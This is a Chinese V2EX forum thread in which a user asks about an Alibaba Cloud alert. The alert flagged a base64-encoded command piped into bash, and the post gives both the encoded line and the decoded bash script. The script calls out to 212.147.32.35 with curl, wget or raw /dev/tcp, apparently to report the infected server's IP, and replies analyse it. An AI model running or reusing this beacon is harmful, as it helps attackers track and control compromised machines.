收到条阿里云的告警,看不懂是做什么用的,请教一下

2021-10-29 09:43:01 +08:00
 ipeony

告警信息

进程异常行为-可疑编码命令待处理
备注
该告警由如下引擎检测发现:
用户名: chrony
命令行: sh -c echo IyEvYmluL2Jhc2gKZnVuY3Rpb24gX19jdXJsKCkgewogIHJlYWQgcHJvdG8gc2VydmVyIHBhdGggPDw8JChlY2hvICR7MS8vLy8gfSkKICBET0M9LyR7cGF0aC8vIC8vfQogIEhPU1Q9JHtzZXJ2ZXIvLzoqfQogIFBPUlQ9JHtzZXJ2ZXIvLyo6fQogIFtbIHgiJHtIT1NUfSIgPT0geCIke1BPUlR9IiBdXSAmJiBQT1JUPTgwCgogIGV4ZWMgMzw+L2Rldi90Y3AvJHtIT1NUfS8kUE9SVAogIGVjaG8gLWVuICJHRVQgJHtET0N9IEhUVFAvMS4wXHJcbkhvc3Q6ICR7SE9TVH1cclxuXHJcbiIgPiYzCiAgKHdoaWxlIHJlYWQgbGluZTsgZG8KICAgW1sgIiRsaW5lIiA9PSAkJ1xyJyBdXSAmJiBicmVhawogIGRvbmUgJiYgY2F0KSA8JjMKICBleGVjIDM+Ji0KfQoKaWYgWyAteCAiJChjb21tYW5kIC12IGN1cmwpIiBdOyB0aGVuCiAgY3VybCAtbyAvZGV2L251bGwgMjEyLjE0Ny4zMi4zNS9nY2FlLzEwMS4zNy43OC4xMDgKZWxpZiBbIC14ICIkKGNvbW1hbmQgLXYgd2dldCkiIF07IHRoZW4KICB3Z2V0IC1xIC1PLSAyMTIuMTQ3LjMyLjM1L2djYWUvMTAxLjM3Ljc4LjEwOAplbHNlCiAgX19jdXJsIGh0dHA6Ly8yMTIuMTQ3LjMyLjM1L2djYWUvMTAxLjM3Ljc4LjEwOCA+L2Rldi9udWxsCmZpCgo= | base64 -d | bash
进程路径: /bin/dash
进程 ID: 26803
父进程文件路径: /usr/bin/perl
父进程 ID: 26798
事件说明: 检测模型发现您的服务器上执行的进程命令行高度可疑,很有可能与木马、病毒、黑客行为有关。

解密后的脚本

#!/bin/bash
function __curl() {
  read proto server path <<<$(echo ${1//// })
  DOC=/${path// //}
  HOST=${server//:*}
  PORT=${server//*:}
  [[ x"${HOST}" == x"${PORT}" ]] && PORT=80

  exec 3<>/dev/tcp/${HOST}/$PORT
  echo -en "GET ${DOC} HTTP/1.0\r\nHost: ${HOST}\r\n\r\n" >&3
  (while read line; do
   [[ "$line" == $'\r' ]] && break
  done && cat) <&3
  exec 3>&-
}

if [ -x "$(command -v curl)" ]; then
  curl -o /dev/null 212.147.32.35/gcae/101.37.78.108
elif [ -x "$(command -v wget)" ]; then
  wget -q -O- 212.147.32.35/gcae/101.37.78.108
else
  __curl http://212.147.32.35/gcae/101.37.78.108 >/dev/null
fi
10520 次点击
所在节点    信息安全
51 条回复
cache
2021-10-29 21:31:21 +08:00
@labulaka521 /dev/tcp 是 bash 内置的 和 linux 没关系,换 zsh 就跑不起来了
Davic1
2021-10-29 22:10:35 +08:00
@ericwood067 #40 请教一下~ 哪里可以判断出 101 那个就是楼主的 Host IP 呢?
ericwood067
2021-10-29 22:27:54 +08:00
@Davic1 这个脚本的作用是和主机 212.147.32.35 建立了一条 tcp 链接,然后使用 httpGet 方法访问了 /gcae/101.37.78.108 这个路径,212 主机返回的结果直接被丢进了 /dev/null 里,所以肯定不是想从 212 主机获取什么东西;/gcae 应该是 212 主机上部署的一个服务的 gateway ,所以 101 应该就是楼主的 Host Ip 。不然做这个操作就没有任何道理了。
Davic1
2021-10-29 23:20:25 +08:00
@ericwood067 #43 感谢~
zouri
2021-10-29 23:43:28 +08:00
各种奇怪的用法真是活到老学到老
pjntt
2021-10-30 00:05:44 +08:00
感觉这个是防盗版的做法吧?校验 IP 是否被授权了?
IMengXin
2021-10-30 09:32:28 +08:00
阿里云一直警告我 frps.exe ,很有可能与木马、病毒、黑客行为有关。
scukmh
2021-10-30 16:48:49 +08:00
学到了
spinecho
2021-10-30 21:01:30 +08:00
m 学到了
hukei
294 天前
核心就是 /dev/tcp
tyit
290 天前
这个脚本的作用是从指定的服务器( IP 地址为 212.147.32.35 )下载或获取一些数据。它首先尝试使用 curl 命令来获取数据,如果 curl 不可用,则尝试使用 wget 命令,最后如果 wget 也不可用,则使用自定义的__curl 函数来获取数据。

具体来说,它执行以下步骤:

定义了一个__curl 函数,用于通过 HTTP 协议从指定的服务器获取数据。这个函数会解析输入的 URL ,提取出协议、服务器地址和路径,并使用/dev/tcp 特殊文件来建立 TCP 连接到服务器,并发送 HTTP GET 请求,最后将响应内容输出到标准输出。

然后,它检查系统中是否安装了 curl 命令,如果安装了,则使用 curl 来获取数据,将数据写入到/dev/null ,即丢弃该数据,因为 curl 的输出已经被重定向到/dev/null ,所以用户不会看到输出。

如果 curl 不可用,则检查系统中是否安装了 wget 命令,如果安装了,则使用 wget 来获取数据,并将数据输出到标准输出( STDOUT )。

如果既没有 curl 也没有 wget ,则调用自定义的__curl 函数来获取数据,将数据输出到/dev/null ,同样是为了不显示数据到用户终端。

综合来说,这个脚本的目的是从指定的服务器获取数据,但是更倾向于使用 curl 或 wget 命令来实现。

这是一个专为移动设备优化的页面(即为了让你能够在 Google 搜索结果里秒开这个页面),如果你希望参与 V2EX 社区的讨论,你可以继续到 V2EX 上打开本讨论主题的完整版本。

https://tanronggui.xyz/t/811424

V2EX 是创意工作者们的社区,是一个分享自己正在做的有趣事物、交流想法,可以遇见新朋友甚至新机会的地方。

V2EX is a community of developers, designers and creative people.

© 2021 V2EX